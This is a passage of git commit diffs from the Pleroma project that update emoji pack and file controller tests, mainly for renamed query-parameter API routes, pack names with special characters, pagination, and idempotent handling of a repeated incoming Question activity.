deletions(-) create mode 100644 test/fixtures/emojis.zip delete mode 100644 test/fixtures/finland-emojis.zip (limited to 'test') diff --git a/test/emoji/pack_test.exs b/test/emoji/pack_test.exs index 3ec991f0f..70d1eaa1b 100644 --- a/test/emoji/pack_test.exs +++ b/test/emoji/pack_test.exs @@ -37,8 +37,8 @@ defmodule Pleroma.Emoji.PackTest do test "add emojies from zip file", %{pack: pack} do file = %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", - path: Path.absname("test/fixtures/finland-emojis.zip") + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") } {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) @@ -58,7 +58,7 @@ defmodule Pleroma.Emoji.PackTest do test "returns error when zip file is bad", %{pack: pack} do file = %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", + filename: "emojis.zip", path: Path.absname("test/instance_static/emoji/test_pack/blank.png") } @@ -68,7 +68,7 @@ defmodule Pleroma.Emoji.PackTest do test "returns pack when zip file is empty", %{pack: pack} do file = %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", + filename: "emojis.zip", path: Path.absname("test/fixtures/empty.zip") } diff --git a/test/fixtures/emojis.zip b/test/fixtures/emojis.zip new file mode 100644 index 000000000..d7fc4732b Binary files /dev/null and b/test/fixtures/emojis.zip differ diff --git a/test/fixtures/finland-emojis.zip b/test/fixtures/finland-emojis.zip deleted file mode 100644 index de7242ea1..000000000 Binary files a/test/fixtures/finland-emojis.zip and /dev/null differ diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs index 827a4c374..39b4e1dac 100644 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -59,8 +59,8 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do |> post("/api/pleroma/emoji/packs/test_pack/files", %{ file: %Plug.Upload{ content_type: "application/zip", - filename: "finland-emojis.zip", - path: Path.absname("test/fixtures/finland-emojis.zip") + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") } }) |> json_response_and_validate_schema(200) -- cgit v1.2.3 From 5e86a2809e37100b54e0fc88db79245e13f684aa Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Wed, 23 Sep 2020 11:45:32 +0200 Subject: transmogrifier: Drop incoming create early if it already exists --- test/web/activity_pub/transmogrifier/question_handling_test.exs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/web/activity_pub/transmogrifier/question_handling_test.exs b/test/web/activity_pub/transmogrifier/question_handling_test.exs index 74ee79543..d2822ce75 100644 --- a/test/web/activity_pub/transmogrifier/question_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/question_handling_test.exs @@ -157,12 +157,12 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.QuestionHandlingTest do } end - test "returns an error if received a second time" do + test "returns same activity if received a second time" do data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() assert {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - assert {:error, {:validate_object, {:error, _}}} = Transmogrifier.handle_incoming(data) + assert {:ok, ^activity} = Transmogrifier.handle_incoming(data) end test "accepts a Question with no content" do -- cgit v1.2.3 From 9b6d89ff8c798079f4db18eb2b5c66a7426ecbc5 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 27 Jun 2020 13:43:25 +0300 Subject: support for special chars in pack name --- test/instance_static/emoji/blobs.gg/blank.png | Bin 0 -> 95 bytes test/instance_static/emoji/blobs.gg/pack.json | 11 +++ .../controllers/emoji_pack_controller_test.exs | 104 +++++++++++++-------- 3 files changed, 78 insertions(+), 37 deletions(-) create mode 100644 test/instance_static/emoji/blobs.gg/blank.png create mode 100644 test/instance_static/emoji/blobs.gg/pack.json (limited to 'test') diff --git a/test/instance_static/emoji/blobs.gg/blank.png b/test/instance_static/emoji/blobs.gg/blank.png new file mode 100644 index 000000000..8f50fa023 Binary files /dev/null and b/test/instance_static/emoji/blobs.gg/blank.png differ diff --git a/test/instance_static/emoji/blobs.gg/pack.json b/test/instance_static/emoji/blobs.gg/pack.json new file mode 100644 index 000000000..481891b08 --- /dev/null +++ b/test/instance_static/emoji/blobs.gg/pack.json @@ -0,0 +1,11 @@ +{ + "files": { + "blank": "blank.png" + }, + "pack": { + "description": "Test description", + "homepage": "https://pleroma.social", + "license": "Test license", + "share-files": true + } +} \ No newline at end of file diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index a34df2c18..068755936 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -37,11 +37,11 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "GET /api/pleroma/emoji/packs", %{conn: conn} do resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 assert resp["packs"] |> Map.keys() - |> length() == 3 + |> length() == 4 shared = resp["packs"]["test_pack"] assert shared["files"] == %{"blank" => "blank.png", "blank2" => "blank2.png"} @@ -58,7 +58,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do |> get("/api/pleroma/emoji/packs?page_size=1") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 packs = Map.keys(resp["packs"]) @@ -71,7 +71,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do |> get("/api/pleroma/emoji/packs?page_size=1&page=2") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 packs = Map.keys(resp["packs"]) assert length(packs) == 1 [pack2] = packs @@ -81,11 +81,21 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do |> get("/api/pleroma/emoji/packs?page_size=1&page=3") |> json_response_and_validate_schema(200) - assert resp["count"] == 3 + assert resp["count"] == 4 packs = Map.keys(resp["packs"]) assert length(packs) == 1 [pack3] = packs - assert [pack1, pack2, pack3] |> Enum.uniq() |> length() == 3 + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=4") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack4] = packs + assert [pack1, pack2, pack3, pack4] |> Enum.uniq() |> length() == 4 end describe "GET /api/pleroma/emoji/packs/remote" do @@ -128,11 +138,11 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do end end - describe "GET /api/pleroma/emoji/packs/:name/archive" do + describe "GET /api/pleroma/emoji/packs/archive?name=:name" do test "download shared pack", %{conn: conn} do resp = conn - |> get("/api/pleroma/emoji/packs/test_pack/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") |> response(200) {:ok, arch} = :zip.unzip(resp, [:memory]) @@ -143,7 +153,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "non existing pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/test_pack_for_import/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_for_import") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack test_pack_for_import does not exist" } @@ -151,7 +161,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "non downloadable pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/test_pack_nonshared/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_nonshared") |> json_response_and_validate_schema(:forbidden) == %{ "error" => "Pack test_pack_nonshared cannot be downloaded from this instance, either pack sharing was disabled for this pack or some files are missing" @@ -173,28 +183,28 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack" + url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" } -> conn - |> get("/api/pleroma/emoji/packs/test_pack") + |> get("/api/pleroma/emoji/packs/show?name=test_pack") |> json_response_and_validate_schema(200) |> json() %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack/archive" + url: "https://example.com/api/pleroma/emoji/packs/archive?name=test_pack" } -> conn - |> get("/api/pleroma/emoji/packs/test_pack/archive") + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") |> response(200) |> text() %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack_nonshared" + url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack_nonshared" } -> conn - |> get("/api/pleroma/emoji/packs/test_pack_nonshared") + |> get("/api/pleroma/emoji/packs/show?name=test_pack_nonshared") |> json_response_and_validate_schema(200) |> json() @@ -218,7 +228,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert File.exists?("#{@emoji_path}/test_pack2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack2") + |> delete("/api/pleroma/emoji/packs/delete?name=test_pack2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack2") @@ -239,7 +249,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack_nonshared2") + |> delete("/api/pleroma/emoji/packs/delete?name=test_pack_nonshared2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack_nonshared2") @@ -279,14 +289,14 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/pack_bad_sha" + url: "https://example.com/api/pleroma/emoji/packs/show?name=pack_bad_sha" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") %Tesla.Env{status: 200, body: Jason.encode!(pack)} %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/pack_bad_sha/archive" + url: "https://example.com/api/pleroma/emoji/packs/archive?name=pack_bad_sha" } -> %Tesla.Env{ status: 200, @@ -316,7 +326,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/test_pack" + url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") %Tesla.Env{status: 200, body: Jason.encode!(pack)} @@ -336,7 +346,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do end end - describe "PATCH /api/pleroma/emoji/packs/:name" do + describe "PATCH /api/pleroma/emoji/packs/update?name=:name" do setup do pack_file = "#{@emoji_path}/test_pack/pack.json" original_content = File.read!(pack_file) @@ -358,7 +368,9 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "for a pack without a fallback source", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack", %{"metadata" => ctx[:new_data]}) + |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{ + "metadata" => ctx[:new_data] + }) |> json_response_and_validate_schema(200) == ctx[:new_data] assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] @@ -384,7 +396,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(200) == new_data_with_sha assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha @@ -404,17 +416,17 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(:bad_request) == %{ "error" => "The fallback archive does not have all files specified in pack.json" } end end - describe "POST/DELETE /api/pleroma/emoji/packs/:name" do + describe "POST/DELETE /api/pleroma/emoji/packs/?name=:name" do test "creating and deleting a pack", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/test_created") + |> post("/api/pleroma/emoji/packs/create?name=test_created") |> json_response_and_validate_schema(200) == "ok" assert File.exists?("#{@emoji_path}/test_created/pack.json") @@ -426,7 +438,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do } assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_created") + |> delete("/api/pleroma/emoji/packs/delete?name=test_created") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_created/pack.json") @@ -439,7 +451,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do File.write!(Path.join(path, "pack.json"), pack_file) assert admin_conn - |> post("/api/pleroma/emoji/packs/test_created") + |> post("/api/pleroma/emoji/packs/create?name=test_created") |> json_response_and_validate_schema(:conflict) == %{ "error" => "A pack named \"test_created\" already exists" } @@ -449,7 +461,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/ ") + |> post("/api/pleroma/emoji/packs/create?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -458,7 +470,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "deleting nonexisting pack", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/non_existing") + |> delete("/api/pleroma/emoji/packs/delete?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -466,7 +478,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "deleting with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/ ") + |> delete("/api/pleroma/emoji/packs/delete?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -529,7 +541,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do } } = conn - |> get("/api/pleroma/emoji/packs/test_pack") + |> get("/api/pleroma/emoji/packs/show?name=test_pack") |> json_response_and_validate_schema(200) assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} @@ -539,7 +551,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/test_pack?page_size=1") + |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 @@ -549,15 +561,33 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/test_pack?page_size=1&page=2") + |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1&page=2") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 end + test "for pack name with special chars", %{conn: conn} do + assert %{ + "files" => files, + "files_count" => 1, + "pack" => %{ + "can-download" => true, + "description" => "Test description", + "download-sha256" => _, + "homepage" => "https://pleroma.social", + "license" => "Test license", + "share-files" => true + } + } = + conn + |> get("/api/pleroma/emoji/packs/show?name=blobs.gg") + |> json_response_and_validate_schema(200) + end + test "non existing pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/non_existing") + |> get("/api/pleroma/emoji/packs/show?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -565,7 +595,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "error name", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/ ") + |> get("/api/pleroma/emoji/packs/show?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } -- cgit v1.2.3 From dbbc8016670166c24a29dcc3e2f0d66bb2f4e35f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 27 Jun 2020 14:33:49 +0300 Subject: pagination for remote emoji packs --- test/web/pleroma_api/controllers/emoji_pack_controller_test.exs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index 068755936..95fd78c7e 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -102,7 +102,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "shareable instance", %{admin_conn: admin_conn, conn: conn} do resp = conn - |> get("/api/pleroma/emoji/packs") + |> get("/api/pleroma/emoji/packs?page=2&page_size=1") |> json_response_and_validate_schema(200) mock(fn @@ -112,12 +112,12 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> + %{method: :get, url: "https://example.com/api/pleroma/emoji/packs?page=2&page_size=1"} -> json(resp) end) assert admin_conn - |> get("/api/pleroma/emoji/packs/remote?url=https://example.com") + |> get("/api/pleroma/emoji/packs/remote?url=https://example.com&page=2&page_size=1") |> json_response_and_validate_schema(200) == resp end -- cgit v1.2.3 From 8c6ec4c111081b34f68363ce20423e2f338fa2dd Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sun, 20 Sep 2020 09:51:36 +0300 Subject: pack routes change --- .../controllers/emoji_pack_controller_test.exs | 52 +++++++++++----------- 1 file changed, 26 insertions(+), 26 deletions(-) (limited to 'test') diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index 95fd78c7e..386ad8634 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -183,10 +183,10 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" } -> conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack") + |> get("/api/pleroma/emoji/pack?name=test_pack") |> json_response_and_validate_schema(200) |> json() @@ -201,10 +201,10 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack_nonshared" + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack_nonshared" } -> conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack_nonshared") + |> get("/api/pleroma/emoji/pack?name=test_pack_nonshared") |> json_response_and_validate_schema(200) |> json() @@ -228,7 +228,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert File.exists?("#{@emoji_path}/test_pack2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=test_pack2") + |> delete("/api/pleroma/emoji/pack?name=test_pack2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack2") @@ -249,7 +249,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=test_pack_nonshared2") + |> delete("/api/pleroma/emoji/pack?name=test_pack_nonshared2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack_nonshared2") @@ -289,7 +289,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=pack_bad_sha" + url: "https://example.com/api/pleroma/emoji/pack?name=pack_bad_sha" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") %Tesla.Env{status: 200, body: Jason.encode!(pack)} @@ -326,7 +326,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") %Tesla.Env{status: 200, body: Jason.encode!(pack)} @@ -346,7 +346,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do end end - describe "PATCH /api/pleroma/emoji/packs/update?name=:name" do + describe "PATCH /api/pleroma/emoji/pack?name=:name" do setup do pack_file = "#{@emoji_path}/test_pack/pack.json" original_content = File.read!(pack_file) @@ -368,7 +368,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "for a pack without a fallback source", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{ + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{ "metadata" => ctx[:new_data] }) |> json_response_and_validate_schema(200) == ctx[:new_data] @@ -396,7 +396,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(200) == new_data_with_sha assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha @@ -416,17 +416,17 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(:bad_request) == %{ "error" => "The fallback archive does not have all files specified in pack.json" } end end - describe "POST/DELETE /api/pleroma/emoji/packs/?name=:name" do + describe "POST/DELETE /api/pleroma/emoji/pack?name=:name" do test "creating and deleting a pack", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/create?name=test_created") + |> post("/api/pleroma/emoji/pack?name=test_created") |> json_response_and_validate_schema(200) == "ok" assert File.exists?("#{@emoji_path}/test_created/pack.json") @@ -438,7 +438,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do } assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=test_created") + |> delete("/api/pleroma/emoji/pack?name=test_created") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_created/pack.json") @@ -451,7 +451,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do File.write!(Path.join(path, "pack.json"), pack_file) assert admin_conn - |> post("/api/pleroma/emoji/packs/create?name=test_created") + |> post("/api/pleroma/emoji/pack?name=test_created") |> json_response_and_validate_schema(:conflict) == %{ "error" => "A pack named \"test_created\" already exists" } @@ -461,7 +461,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/create?name= ") + |> post("/api/pleroma/emoji/pack?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -470,7 +470,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "deleting nonexisting pack", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=non_existing") + |> delete("/api/pleroma/emoji/pack?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -478,7 +478,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "deleting with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name= ") + |> delete("/api/pleroma/emoji/pack?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -526,7 +526,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do } end - describe "GET /api/pleroma/emoji/packs/:name" do + describe "GET /api/pleroma/emoji/pack?name=:name" do test "shows pack.json", %{conn: conn} do assert %{ "files" => files, @@ -541,7 +541,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do } } = conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack") + |> get("/api/pleroma/emoji/pack?name=test_pack") |> json_response_and_validate_schema(200) assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} @@ -551,7 +551,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1") + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 @@ -561,7 +561,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1&page=2") + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1&page=2") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 @@ -581,13 +581,13 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do } } = conn - |> get("/api/pleroma/emoji/packs/show?name=blobs.gg") + |> get("/api/pleroma/emoji/pack?name=blobs.gg") |> json_response_and_validate_schema(200) end test "non existing pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/show?name=non_existing") + |> get("/api/pleroma/emoji/pack?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -595,7 +595,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "error name", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/show?name= ") + |> get("/api/pleroma/emoji/pack?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } -- cgit v1.2.3 From 5d7ec00bedc61e8899941c374604ae5854c62f4c Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 09:42:30 +0300 Subject: fixes after rebase --- test/utils_test.exs | 2 +- .../controllers/emoji_file_controller_test.exs | 40 +++++++++++----------- 2 files changed, 21 insertions(+), 21 deletions(-) (limited to 'test') diff --git a/test/utils_test.exs b/test/utils_test.exs index 3a730d545..460f7e0b5 100644 --- a/test/utils_test.exs +++ b/test/utils_test.exs @@ -8,7 +8,7 @@ defmodule Pleroma.UtilsTest do describe "tmp_dir/1" do test "returns unique temporary directory" do {:ok, path} = Pleroma.Utils.tmp_dir("emoji") - assert path =~ ~r/\/tmp\/emoji-(.*)-#{:os.getpid()}-(.*)/ + assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ File.rm_rf(path) end end diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs index 39b4e1dac..82de86ee3 100644 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -29,7 +29,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do {:ok, %{admin_conn: admin_conn}} end - describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/:name/files" do + describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/files?name=:name" do setup do pack_file = "#{@emoji_path}/test_pack/pack.json" original_content = File.read!(pack_file) @@ -56,7 +56,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do resp = admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ file: %Plug.Upload{ content_type: "application/zip", filename: "emojis.zip", @@ -83,7 +83,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "create shortcode exists", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank", filename: "dir/blank.png", file: %Plug.Upload{ @@ -101,7 +101,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", filename: "dir/blank.png", file: %Plug.Upload{ @@ -119,7 +119,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank", new_shortcode: "blank2", new_filename: "dir_2/blank_3.png" @@ -135,7 +135,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> 